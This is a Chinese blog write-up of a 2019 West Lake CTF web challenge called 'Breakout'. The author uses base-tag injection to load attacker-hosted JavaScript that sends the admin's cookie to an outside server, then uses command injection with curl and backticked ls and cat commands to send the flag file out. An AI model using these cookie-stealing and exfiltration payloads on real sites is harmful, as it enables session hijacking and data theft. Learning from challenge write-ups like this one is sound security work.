美文网首页
2019西湖论剑 CTF Breakout WP

2019西湖论剑 CTF Breakout WP

作者: sgdream | 来源:发表于2019-04-08 15:37 被阅读0次

    WEB2 Breakout

    ​ (浏览器崩了 导致预留的准备截图的都没有了)

    ​ 这道题目直接随便输入账号密码就能登录。

    ​ 进入一共有三个页面 其中exec需要管理员权限才能执行。

    ​ 经过一番探索后发现在message页面可以留言。且report上面可以提交url(说明漏洞利用点是可以通过xss获取到管理员的cookie)

    ​ message经过多种尝试后,发现可以通过base 标签进行js地址替换,使得该页面加载的js可控

    ​ 于是在message页面留言<base href="http://我的vpsip/" />并自己服务器上的/js/index.js上增加cookie反弹到自己服务器。

    $(document).ready(function(){
      $.ajax({url:"http://服务器地址/index.php", data: {"cookie":document.cookie} ,async:false});
    
    });
    
    ​```
    #encoding=utf-8
    # 这里用域名的提示这个链接并不是我们的 并且咨询主办方说题目没问题,于是我就尝试ping 了下获取ip带端口就能提交,(现在想想可能是因为只能提交存在的页面的原因吧(report/main/exec)
    import requests
    import re
    cookies={
        'PHPSESSID':'oaahbvmnd48ihgf9gb7c0efh45',
        'token':'sgdream97'
    }
    #http://101.68.81.236:10171/main.php
    a=requests.session()
    back = a.get('http://101.68.81.236:10171/report.php',cookies=cookies)
    code = re.findall("substr\(md5\(\$str\), 0, 6\) === (......)",back.text.replace("\n",'').replace("\r",''))
    print(code)
    
    back = requests.get("http://127.0.0.1/substr/?id="+code[0])# 这个是我本地运行的获取验证码的
    code = (back.text)
    back = a.post("http://101.68.81.236:10171/report.php",data={'url':'http://101.68.81.236:10171/main.php','code':code , 'exec':1},cookies=cookies)
    
    
    cookie

    获取到cookie后在去访问exec.php

    使用 curl http://服务器地址/index.php?s=`ls /|base64` 获取flag位置

    ls base64

    通过 curl http://服务器地址/index.php?s=`cat /flag.txt |base64`

    cat /flag.txt

    获取flag

    flag

    相关文章

      网友评论

          本文标题:2019西湖论剑 CTF Breakout WP

          本文链接:https://www.haomeiwen.com/subject/daxpiqtx.html